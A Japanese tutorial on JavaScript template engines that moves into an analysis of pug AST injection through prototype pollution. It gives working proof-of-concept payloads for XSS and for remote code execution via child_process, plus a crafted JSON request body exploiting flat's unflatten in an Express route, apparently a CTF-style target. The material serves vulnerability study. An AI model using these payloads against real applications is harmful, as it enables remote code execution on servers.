テンプレートエンジンとは#
JS ウェブ開発でよく使われるテンプレートエンジンには ejs
、pug
、handlebars
があります。
機能:動的に HTML コードをレンダリングし、再利用可能なページ構造を作成します。
ejs
テンプレートの使用
// EJSモジュールをインストール:npm install ejs
// EJSモジュールをインポート
const ejs = require('ejs');
// テンプレートを定義
const template = `
<h1>Hello, <%= name %>!</h1>
`;
// テンプレートをレンダリング
const data = { name: 'John' };
const html = ejs.render(template, data);
console.log(html);
handlebars
テンプレートの使用
// Handlebarsモジュールをインストール:npm install handlebars
// Handlebarsモジュールをインポート
const handlebars = require('handlebars');
// テンプレートを定義
const template = `
<h1>Hello, {{name}}!</h1>
`;
// テンプレートをコンパイル
const compiledTemplate = handlebars.compile(template);
// テンプレートをレンダリング
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
pug
テンプレートの使用
// Pugモジュールをインストール:npm install pug
// Pugモジュールをインポート
const pug = require('pug');
// テンプレートを定義
const template = `
h1 Hello, #{name}!
`;
// テンプレートをコンパイル
const compiledTemplate = pug.compile(template);
// テンプレートをレンダリング
const data = { name: 'John' };
const html = compiledTemplate(data);
console.log(html);
テンプレートエンジンの動作原理#
字句解析 -> 構文解析 -> コード生成
しかし、構文木の処理中にプロトタイプチェーンの汚染が存在すると、AST ツリーを自由に変更でき、生成されたコードに影響を与え、最終的に RCE(リモートコード実行)を達成することができます。
pug テンプレート AST インジェクション#
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
fn({msg: 'It works'});
のステップに到達すると、本質的には関数に入ります。
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});
(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})
AST インジェクション原理分析#
構文木構造#
pug は h1= msg
を解析し、生成された構文木構造:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
構文木生成後、walkAst
を呼び出して構文木の解析プロセスを実行し、各ノードのタイプを順に判断します。以下のコードのように:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // 注意ここ
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
構文木実行順序#
生成された構文木構造の例を挙げると、解析順序は次の通りです:
- Block
- Tag
- Block
- Code
- …?
第 4 ステップで node.Type
が Code
タイプの場合、以下のコードが実行されます:
case 'Code':
case 'While':
if (ast.block) { // 注意ここ
ast.block = walkAST(ast.block, before, after, options);
}
ast.block
属性が存在するかどうかを判断します。この時のast
は現在の ast 構文木のノードです。- 存在する場合、block を再帰的に解析します。
プロトタイプチェーン汚染との結合#
どこかにプロトタイプチェーン汚染の脆弱性が存在し、次のようになるとします。
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
この場合、ast.block
は ast.__proto__.block
にアクセスし、Object.prototype.block
の属性にアクセスします。
この時、コードの出力結果は XSS を引き起こします。
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
RCE#
pug は本質的に h1 =msg
のようなコードをコンパイルして、実際には構文木を生成し、new Function
を使用します。
したがって、AST インジェクションを通じてノードを挿入し、それをコードにすることができれば、リモートコード実行の目的を達成できます。
pug には次のようなコードがあります。
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
したがって、AST インジェクション + プロトタイプ汚染を通じて RCE を実現できます。
const pug = require('pug');
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
攻撃例#
express で開発されたウェブサービスの CGI の一つは次の通りです:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
ローカルで起動し、ポート 1337 で実行します:
プロトタイプチェーン汚染#
次の行に注意してください:
const { song } = unflatten(req.body);
unflatten
このライブラリにはプロトタイプチェーン汚染があります。
var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true
AST インジェクション#
次の行に注意してください:
pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
プロトタイプチェーン汚染と組み合わせることで、RCE を実現できます。
{
"song.name": "The Goose went wild",
"__proto__.block":{
"type":"Text",
"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 任意のコマンドを実行可能
}
}